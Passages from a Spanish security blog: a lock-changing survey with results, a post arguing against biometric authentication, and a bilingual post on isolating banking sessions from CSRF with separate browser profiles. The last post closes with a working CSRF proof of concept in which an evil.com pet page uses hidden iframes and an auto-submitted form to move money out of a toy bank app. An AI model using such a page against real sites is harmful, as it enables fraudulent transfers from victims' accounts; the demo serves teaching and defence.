El tema del manejo de credenciales es algo recurrente en este blog, ya sea como cliente o como proveedor, pero me permito sintetizar:

A la hora de autenticar, el único secreto es la clave. Por seguridad por oscuridad conviene que el nombre no sea conocido. Si has perdido la clave, es entonces vital que el nombre no sea conocido.

Si perdés tus llaves junto a tus documentos, corrés a cambiar la cerradura, pero si son sólo las llaves, quizás no repares en que están identificadas por uno de estos servicios, asi que un ataque a esas bases de datos cobra mucho sentido, ya que permite obtener la cuenta (puerta) de la clave (llave).

En realidad la amenaza trasciende al servicio, que en cierto modo carece de valor. Cuando te devuelvan las llaves, ¿cómo sabés que no han sido copiadas?

Esta amenaza no se reduce al leak de la base de datos, aunque sin duda es el caso más interesante. Alcanza con tener un amigo dentro de la organización o un  escenario como este:

-Hola, te fijarías por favor si se actualizó mi dirección- y le dás el identificador. Con un poco de suerte te dirán "¿La dirección es plin plin plin?". Se puede complicar si te piden el nombre, en cuyo caso simplemente te dás la vuelta y te vas.

Me da cosita ir a probarlo, pero supongo que quien esté dispuesto a ir a robar una casa no sea de tener tanta vergüenza.


NOTA: a mi lo que más vergüenza me da es un error metodológico que cometí con la encuesta, si no te has dado cuenta no es importante, pero alguno me lo señaló y sudé y deseé que la tierra me tragara, gracias Ezequiel por la reprimenda.

Mas abajo pego los datos de la encuesta, agrupados y ordenados de un modo de seguridad creciente un tanto arbitrario pero suficiente como para ver que hay un elevado grado de conciencia en la gestión de llaves. No hay suficientes casos como para poder suponer que representa algo muy preciso y como ya mencioné, tiene un terrible sesgo por que es gente que usa mail y que conozco o es cercana.



Quienes tienen buen comportamiento, revisen si los identificadores son compatibles con sus buenas prácticas.

Los comentarios


De modo similar al open space, que es convertir al intervalo en el protagonista de los eventos, en esta encuesta el comentario es la estrella. Puse al final los que me resultan más divertidos o útiles:

  • Le agregaría medidas adicionales. como una nueva cerradura, rejas, etc
  • REALMENTE aparte de tus anotaciones y bolígrafo, alguien deja algo de valor en el cajón? o documentación respaldatoria del trabajo?
  • No soy de perder mis llaves, pero en mi familia son especialistas. Menos mal que no vivo más con ellos
  • Con la inseguridad de hoy en dia y teniendo en cta q tengo un pwn drive en mi llavero...si pierdo las llaves y no las cambio es xq soy una boluda
  • La primera vez que me mudé la puerta estaba destruida y el consorcio (el departamento era del consorcio) cambió la cerradura y me dio los dos únicos juegos de llaves que habían hecho. Cuando me mudé a donde estoy acá, el dueño me dio 2 llaves y me dijo que eran las únicas que tenian, aunque ahora que lo pienso, lo mejor hubiese sido cambiarla.
  • Lo siento pero no he perdido llaves.. :(
  • En caso de perder las llaves no cambiaría la cerradura ya que a la cerradura se le puede cambiar la combinacion que seria mas barato
  • La chica que está respondiendo a la encuesta es un poquito anti cambio, asi que la respuesta es de esa clase de tendencia. Y de confiar
  • Estas respuestas pueden estar un poco influenciadas por el tema grave de seguridad que nos aqueja desde hace unos años y que no se ocupan de resolver las autoridades
  • Modifico/cambio las cerraduras si la llave la tenia, por ejemplo, alguien que venia a trabajar a mi casa y dejo de hacerlo
  • Si se perdieron con identificación, o me las robaron - En el departamento al que me mudé cambié una cerradura, aunque no sé si eso es legal. La otra la dejé como estaba. Si no me hubiesen dejado cambiarla, hubiese evaluado poner una traba extra o algo así.
  • La última vez lo que hice fue dejar la anterior y poner una más. Siempre cierro con la nueva, pero si me voy mucho tiempo también meto la vieja por si acaso.
  • Con "perder" las llaves también podría incluir "que te roben" las llaves. Creo que la gente tendría una sensación mayor de inseguridad si se las roban a si las pierden... O al menos esa es la impresión que me da a partir de hablarlo con varias personas.
  • Aunque las recupere, si pierdo control de mis llaves durante un tiempo prudente, las doy como perdidas. Tal como dejar mi maquina desbloqueada y entregarsela a un tercero.
  • Despues de un cierto tiempo de buscarlas al darlas por perdidas.  Mientras tanto no se sale de casa hasta encontrarlas.
  • En contra de mis deseos, le dejé a la inmobiliaria la llave del pasillo previo al departamento, para que se la de al plomero/carpintero/-ni idea quien- y vaya a hacer arreglos cuando yo no estaba. Dejé abierta la puerta de entrada y sólo entregué la del pasillo como "medida de seguridad".
  • No cierro la casa con todas las llaves, incluso dejo algunas puertas sin llave (ejemplo la puerta de la entrada al patio delantero). 
  • Gracias a Dios nunca he tenido problemas de seguridad en casa.
  • En algunas oportunidades he cambiado la combinación de la cerradura para no comprar una nueva.
  • Si considero que las perdí cerca de casa o con documentación de la que puedan deducir la dirección
  • Ante cualquier evento, duda, etc, SIEMPRE cambio cerradura
  • Siempre que cualquier propietario pierda la llave de la puerta de planta baja, se cambia la cerradura o la combinacion. Si yo pierdo la llave de mi departamento, no lo hago, ya que antes tienen que forzar la de planta baja, y dar con el piso que vivo.
  • Estoy pensando poner cerradurra electronica ( por tarjeta o lectura de pulgar en mi casa, me inclino mas por la tarjeta, ya que no deseo que me corten un dedo para entrar y llegarse un cd de violeta) Lo hable con mucha gente y todos piensan lo mismo. Las llaves y llaveros molestan cada dia mas.
  • Nosotros cambiamos las llaves cada vez que nos mudamos (unas 3 veces). También cuando me robaron la cartera y una vez que YO las perdí. XXX es un superparanoico con el tema (y a las pruebas me remito, mucho más prolijo que yo con sus llaves).
    Encontramos un método un poco más barato y es que como tenemos dos puertas, guardamos el tambor de las llaves robadas y años más tarde, cuando tenemos otro percance, lo volvemos a colocar y sólo se hacen llaves nuevas.
  • Varias veces me fui de casa, y olvidé cerrar con llave. Mi puerta se abre sencillamente con el picaporte, luego, tengo suerte
  • Que cuestionario bobo... como vos xD
  • Estaba tratando de encontrar la justificacion de por que si 2 es SI, 3 es a veces... supongo que tiene que ver con que al momento de perderlas, empezas a evaluar costo y tiempo versus riesgo, y, so pretexto de “quien mierda va a saber que puerta de toda la maldita capital federal abre esta llave?”, sucumbis a la estadistica de lo poco probable y no la cambias nada.
  • Quien me robe tendrá 100 aňo de perdón
  • En el link que pasaste tengo que agregar mi legajo y mi password de gmail??? jajajajajaja
  • "Bienvenido a Ventosa de la Cuesta. Habitantes: 136 personas"

La última es muy especial, la persona entendió que pedía comentarios de bienvenida, ¡excelente!

Tras haber escrito este artículo, han llegado nuevas encuestas. Aunque no he actualizado los números, acá están los comentarios:

  • Si efectivamente perdiera mis llaves y no dejara con ellas ninguna información personal (solo las llaves, y no con el celular o la billetera) probablemente no cambiaría la combinación.
Tambien hubo una persona que me constestó utilizando un servicio de anonimización de mail.


Si a partir de este artículo o de haber llenado la encuesta has decidido ser más cuidadoso con las cerraduras, te paso mi procedimiento:

Para cada cerradura

  •     sacarla
  •     ir a una cerrajería desconocida de otro barrio
  •     comprar una igual y obtener las copias necesarias,
        ya quedan probadas
  •     poner la nueva

Si está en buen estado, la cerradura vieja se puede regalar a algún conocido que confíe en tí o no esté dispuesto a tomarse toda esta molestia. Tambien se puede usar en puertas interiores.


La encuesta


1) Al mudarte, has cambiado alguna vez la cerradura de tu nuevo hogar?
Siempre - Algunas veces - Nunca - Nunca me he mudado

2) Al perder las llaves, evaluás cambiar las cerraduras?
Si - A veces - No - Nunca he perdido las llaves

3) Al evaluar afirmativamente cambiar las llaves por haberlas perdido, has cambiado las llaves?
Si - A veces - No - No corresponde pues no pierdo las llaves o no evalúo cambiarlas

segmento por nuevo hogar? has evaluado tras perder? has cambiado?
SEGURIDAD nunca no

TÉCNICO nunca a veces a veces
NORMAL nunca si si
NORMAL nunca si si
NORMAL nunca si si
SEGURIDAD nunca si si
SEGURIDAD nunca si si
TÉCNICO nunca si si
AGILE nunca nunca he perdido las llaves
NORMAL nunca nunca he perdido las llaves
SEGURIDAD nunca nunca he perdido las llaves
SEGURIDAD nunca nunca he perdido las llaves
NORMAL a veces a veces a veces
NORMAL a veces a veces si
AGILE a veces si si
SEGURIDAD a veces si si
SEGURIDAD a veces nunca he perdido las llaves
AGILE siempre a veces no
NORMAL siempre a veces si
TÉCNICO siempre a veces si
NORMAL siempre si no
SEGURIDAD siempre si no
NORMAL siempre si a veces
SEGURIDAD siempre si a veces
SEGURIDAD siempre si a veces
TÉCNICO siempre si a veces
TÉCNICO nunca me he mudado si si
AGILE siempre si si
AGILE siempre si si
AGILE siempre si si
NORMAL siempre si si
NORMAL siempre si si
NORMAL siempre si si
SEGURIDAD siempre si si
SEGURIDAD siempre si si
SEGURIDAD siempre si si
SEGURIDAD siempre si si
SEGURIDAD siempre si si
SEGURIDAD siempre si si
SEGURIDAD siempre si si
SEGURIDAD siempre si si
SEGURIDAD siempre si si
SEGURIDAD siempre si si
SEGURIDAD siempre si si
TÉCNICO siempre si si
TÉCNICO siempre si si
TÉCNICO siempre si si
TÉCNICO siempre si si
AGILE nunca me he mudado nunca he perdido las llaves
SEGURIDAD nunca me he mudado nunca he perdido las llaves
NORMAL siempre nunca he perdido las llaves
SEGURIDAD siempre nunca he perdido las llaves
SEGURIDAD siempre nunca he perdido las llaves
TÉCNICO siempre nunca he perdido las llaves
TÉCNICO siempre nunca he perdido las llaves


[1] http://seguridad-agile.blogspot.com.ar/2013/09/por-que-lockpicking.html

2013/11/06

Por que no biometría

Es muy profesional mencionar los factores de autenticación y para no ser menos, los mencionaré:

  • Algo que sé: una clave
  • Algo que tengo: un token, tarjeta de coordenadas
  • Algo que soy: biometría

Se está tendiendo a utilizar múltiples factores, de modo tal que si alguien se apodera de nuestra clave, no le alcance, pues le falta la tarjeta de coordenadas, por ejemplo.

if you want an english version, feel free to ask me for it

Algo que sé


Las claves son difíciles de recordar, moderadamente fáciles de robar. Si no tenés una cierta paranoia, fáciles de adivinar.

Las claves mal ingresadas suelen bloquearse tras algunos intentos fallidos, el proceso de desbloqueo o recuperación es incómodo. Alguien te puede bloquear la cuenta conociendo sólo tu identidad.

Las claves bien administradas son reemplazadas cada mes, lo que te obliga a tener patrones de claves que las debilitan.

Si respetás poner un símbolo y estás usando un teclado que no corresponde a tu configuración regional habitual, estás en problemas.

Atacantes obtienen bases de datos llenas de claves mal protegidas o directamente en texto plano.

En los ATMs se roban claves mediante cámaras ocultas y teclados falsos colocados sobre el teclado verdadero.

En Internet circulan claves en texto plano, tenés que prestar atención donde ponés tus claves.

No podés confiar en ningún servicio, así que tenés que usar claves distintas en distintos lugares.

Si tu máquina está comprometida, unos programitas llamados keyloggers capturan lo que escribís, por ejemplo al ingresar la clave de tu home banking.

Cuando escribís tus claves, pueden ser vistas por personas por sobre tu hombro.


Algo que tengo


Tarjeta de coordenadas, se gasta, se puede fotografiar o fotocopiar. La podrías ingresar completa en un sitio de phishing. No vos, claro, pero ocurre todos los dias.

Token, es caro. Es incómodo tener uno por cada identidad.

Todo lo que tengo se puede perder o ser robado.

Si lo pierdo o me lo roban, lo puedo dar de baja. Sólo en Misión Imposible me lo copian sin que me de cuenta.

La zona grís entre lo que sé y lo que tengo

Es evidente que no puedo saber cuarenta credenciales distintas, entonces las anoto... ¿las sé o las tengo?

Puedo usar un programa tipo KeePass y usar claves correctas en cada cuenta (las tengo), con el único riesgo de que sea comprometida la clave del almacén (la sé).

Algo que soy


La biometría es cool, apoyás el dedo, una cámara ve tu iris y entraste.

Si te asaltan ya no hace falta llevarte de paseo por los cajeros, con la tarjeta, la clave y tu dedo tibio recién cortado alcanza. ¿Otra vez Misión Imposible, en versión adultos? No, cada tanto le cortan un dedo a algún colectivero gratis  [1][2].

Si alguien compromete tu clave usás otra. Si alguien copia tu factor biométrico, fuiste.

¡Ah, pero eso es de re-espía! te convido un martini y me llevo tus huellas digitales.

No hace falta, con una foto alcanza. En vísperas del Lockpicking Village de la Ekoparty 2013, he comprobado que a partir de una impresión laser en poliester, se puede hacer una huella falsa que un lector más o menos normal acepta encantado. Yo no sólo disto de ser un experto en el tema, sino que fue mi primer, único y último intento, no basta con la suerte de principiante, evidentemente es fácil. Decenas de visitantes copiaron en pocos minutos sus propias huellas y pudieron burlar el mecanismo.

No he estudiado a fondo el asunto, pero según me han contado las otras personas del Lockpicking Village, lo que se almacena no es una imagen de la huella sino una representación. Supongo que a partir de esa representación se podría regenerar una huella que no engañaría a un perito pero sí a un lector de huellas.

Así como hay leaks de bases con claves, habrán leaks con bases de huellas.

Cambiando el cristal


Hasta aquí hemos visto el asunto desde el punto de vista del usuario, ¿cuál puede ser el del proveedor?

Obviamente, si da plata y todos se suben a la movida, el proveedor se ve obligado a adherirse. Pero, ¿qué va a pasar cuando haya un leak de la base de huellas y el usuario inicie acciones legales? Pues no es lo mismo perder las contraseñas [3][4] que algo que el usuario no puede reemplazar. El usuario podría argumentar que el proveedor le ha perdido la identidad. Se parece a haber perdido el anonimato [5].

Y luego, una vez que un proveedor ha perdido tus factores biométricos y te ha indemnizado, ¿qué pasa con el próximo que los pierda? ¿Te vuelve a indemnizar? Yo como proveedor quizás no querría aceptar la responsabilidad (o mejor dicho el costo) y me vería en necesidad de influir y manipular las leyes para que me sean favorables y esto podría llevar a "social unrest" si no fuera por que la humanidad parece embarcada en un tren de completa idiotez en lo que respecta a espejitos de colores digitales y las ventajas de la interconectividad.

Como proveedor no me preocuparía mucho.

Sí es sabido que es mala práctica repetir contraseñas en distintas cuentas, tambien lo es con los demás factores. La tarjeta de coordenadas o un token sólo sirven para una cuenta y esto es razonable, ya que los bancos no confian en los otros bancos para unificar la autenticación, son MIS clientes, ¿no? ¿Por qué el usuario final debe confiar SUS huellas, su iris o su adn?

Es que la autenticación biométrica se debe reservar para las cosas importantes, diría alguien con buen sentido. Pero como reza el dicho "con paciencia y con saliva, el elefante...", así como pasamos de tener cable sin cortes publicitarios a tenerlos, de un sellito del canal arriba a la derecha a un ocasional flash a un mensaje permanente, vamos a pasar de que las huellas se ponen en los documentos, a que en las credenciales de acceso a edificios inteligentes, a que desbloquean el smartphone, ese mismo que cambiás cada dos años o menos y lo vendés, regalás o perdés con tus huellas adentro [6].

Una opción que se me ocurre para poder convivir con la autenticación biométrica es restarle valor a los factores biométricos. Dictaminar que no basta como evidencia hallar una huella digital para relacionar a alguien con la escena del crimen, tambien debe estar en video. Estaba por decir "en el futuro" pero me parece que este ha ya llegado: el arte cinematográfico, modelado y animación 3D permite adulterar esa evidencia tambien. Pronto, la única manera de delinquir y poder ser acusado va a ser cometer el crimen en presencia de un escribano.



[1] http://www.ambito.com/noticia.asp?id=729777
[2] http://www.clarin.com/policiales/Asaltan-colectivero-plata-cortan-dedo_0_900510126.html
[3] http://seguridad-agile.blogspot.com.ar/2012/06/leak-linkedin.html
[4] http://seguridad-agile.blogspot.com/2013/11/leak-adobe.html
[5] http://seguridad-agile.blogspot.com.ar/2013/05/leak-mortal.html
[6] In two years your new smartphone could be little more than a paperweight http://smallbusiness.chron.com/life-expectancy-smartphone-62979.html

2012/06/27

Client side CSRF protection


Como protegerse de CSRF 

 (English version below)


No voy a explicar en que consiste este ataque, ya que para eso están estas [1] [2] excelentes fuentes.

Uno como usuario está desprotegido, ya que es una vulnerabilidad de la aplicación en el servidor. Siempre te recomiendan que no abras links que vienen de personas desconocidas (aunque las conocidas bien pueden haber sido manipuladas) y todas esas cosas que quizás, quizás te protejan.

Si uno quiere agarrar el toro por las astas debería entonces examinar todo el código html y javascript del home banking para quizás, quizás verificar que del lado del cliente está bien, sin saber a ciencia cierta si del lado del servidor está bien.

Siendo más comprometido, uno debería hacerse a uno mismo el ataque y ver que falla y recién ahi operar con ese home banking, hasta que haya un upgrade y sea necesario repetir el proceso.

Me conviene ir al cajero.

Ahora bien, si hemos realmente comprendido la esencia del CSRF, podemos afirmar que si SÓLO estamos navegando el home banking, el ataque no es posible, ya que se basa en la incapacidad del navegador y del servidor de diferenciar entre las llamadas legítimas y la ilegítimas.

Si usamos un perfil de firefox exclusivamente para acceder al home banking, aunque en otro perfil entremos a un sitio malicioso con su ataque, no va a funcionar, pues estamos en contextos distintos, ¿no?

En firefox, hay que agregar "-no-remote -ProfileManager" al iniciar el programa [3], lo cual nos va a hacer elegir el perfil en el momento de abrir el programa.

A estos perfiles los podemos llamar "normal|toxico|inseguro" y "seguro|banco 1|banco 2|servicio 3". Lo más correcto sería crear un perfil para cada sitio sensible. 

Supongo que como efecto beneficioso colateral, no queda en nuestro historial "toxico" rastros de nuestros sitios sensibles.

Es muy importante no confundirse de perfil, claro.

Qué pasa con la "Navegación privada" de Firefox?


En 13.0.1, cuando inicias la navegación privada se reemplaza lo que estés navegando, asi que no es útil.

E incognito de Chrome?


Funciona bien, iniciás una ventana incognito y usas el home banking ahi, el resto de la navegación en las otras ventanas, pero, como dice Pipe y pronto comprobaré, ya he comprobado, no podés tener distintas ventanas incognito independientes.

POC


La prueba de concepto [4] que he hecho funciona bien, salvo que genera un popup que es bloqueado por FF. Una vez que aceptás el popup, la transacción se realiza, te das cuenta que hay algo mal, pero ya es tarde. Si tenés la habilidad de probarla en tus máquinas, mirando fijo el código de evil.com verás que se puede lograr la discreción del GET con la funcionalidad del POST. Yo lo hice pero no lo publico para que tengas la oportunidad de ejercer tu talento. (podés ir al próximo post, ahi está más bonito)

Me he centrado en home banking por ser donde está claro que hay dinero, pero esto aplica para cualquier sitio con autenticación.

Actualización: esta entrada ha generado un cierto feedback offline, puedes leerlo en http://seguridad-agile.blogspot.com.ar/2012/07/layer-8-csrf-protection.html


How to protect yourself from CSRF


I won't repeat any definition here, as there are good references like [1] and [2].

Being a server side vulnerability, you are unprotected as an user. Common advice is to avoid following links from unknown people and this kind of crap.

If you want to be safe, you have to analyze the html and javascript code served by the home banking site and hope that the server side implementation is not wrong.

To be really sure, you should attack yourself and if you do not succeed, repeat it again when there is an upgrade. Let's go back to the ATM.

If we really understand what CSRF is, we can assert that if we are only browsing the home banking site, the attack can not be carried on, as it is based upon the fact that neither the server nor the browser can tell good from bad requests.

So, while we use are using a firefox profile to access the home banking site, it is isolated from any other profile, no attack is possible, right?

Add "-no-remote -ProfileManager" to the startup of the program [3] and choose the profile for your current activity.

You can name them "common|toxic|insecure" and "secure|bank 1|bank 2". It is better to create one profile for each sensitive site. As a side effect, it leaves no trace of banking activity in the "toxic" profile.

Try not to mix the profiles!!!


What about Firefox's "Private browsing"?


With 13.0.1, when you start private browsing it replaces what you were browsing, so it is not useful

What about Chrome's incognito?


It works fine, start an incognito window and use home banking from there. Use the other windows to open new links. Keep in mind what Pipe said below, it seems that incognito windows share state, I'll check it soon, so you should not access more than one sensitive site at the same time.


POC


The poc [4] I've made works fine, but a popup window is blocked by FF. Once you accept the popup, the transaction is done and you are warned, but it is too late. With some extra work you can find a way to fix this issue. Or you can go to the next post...

There are two iframes, one using GET, the other POST.

This discussion was around home banking because your are dealing with money, but it applies to any other authenticated site.


Update: you can see the results of the offline discussion generated by this entry here: http://seguridad-agile.blogspot.com.ar/2012/07/layer-8-csrf-protection.html

Referencias


[1] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29

[2] http://en.wikipedia.org/wiki/Cross-site_request_forgery

[3]  add -no-remote -ProfileManager to...
  • windows xp::firefox::español: acceso directo a firefox -> botón derecho -> propiedades -> agregar a "destino".
  • linux::gnome2::firefox::english: launcher->right click -> properties ->  add to "command"
  • linux::kde3::firefox::english: button->right click-> configure ff web browser button->application ->add to "command"
  •  
[4] POC

clave: password
transferencia: transfer
origen: origin
destino: target
transferir: to transfer
entrar sistema: login
autenticado: authenticated
valor: value
tomatelas, no autenticado: fuck off, not authenticated
linda mascota: cute pet
transfiriendo: transfering
mascota inofensiva: harmless pet
cuenta cliente: customer account
cuenta atacante: attacker account
encantador: charming

[login.php@good.com]
<?php

session_start();

if (isset($_SESSION['auth']) || isset($_REQUEST['clave']) && $_REQUEST['clave'] == "1234") {
       $_SESSION['auth'] = 1;
?>
<form method="post" action="transferencia.php">
<input name="origen" value="origen"/><br/>
<input name="destino" value="destino"/><br/>
<input name="valor" value="valor"/><br/>
<input type="submit" value="transferir"</input>
</form>

<?php

    } else {
?>
<form method="post">
<input name="clave">clave</input>
<input type="submit" value="entrar sistema"</input>

</form>
<?php

}


--------------------

[transferencia.php@good.com]
<?php

session_start();

if (isset($_SESSION['auth'])) {
    print "autenticado</br>";
    print "transfiriendo de " . $_POST['origen'] . " a " . $_POST['destino'] . " $". $_POST['valor'];

} else {
    print "tomatelas, no autenticado";
}


--------------------

[linda_mascota.html@evil.com]
<html>
<head>
<title>
Mascota inofensiva en evil.com
</title>

<body>

<h1>Encantador sitio de mascotas bonitas</h1>
<img src="cat2.jpeg" /><img src="cat1.jpeg" /><img src="cat3.jpeg" /><br />

<iframe height="0" width="0" src="http://good.com/transferencia.php?origen=cuenta_cliente&destino=cuenta_atacante&valor=1000pe"
</iframe>

<iframe name=ifr width="0" height="0"></iframe>
<script>
document.write(
'<div style="display:none">' +
'<form target=ifr id=csrf method=post action="http://good.com/transferencia.php">' +
'<input name="origen" value="cuenta_cliente" />' +
'<input name="destino" value="cuenta_destino" />' +
'<input name="valor" value="50pe" />' +
'</form>'+
'</div>')
document.getElementById("csrf").submit()
</script>
</body>
</html>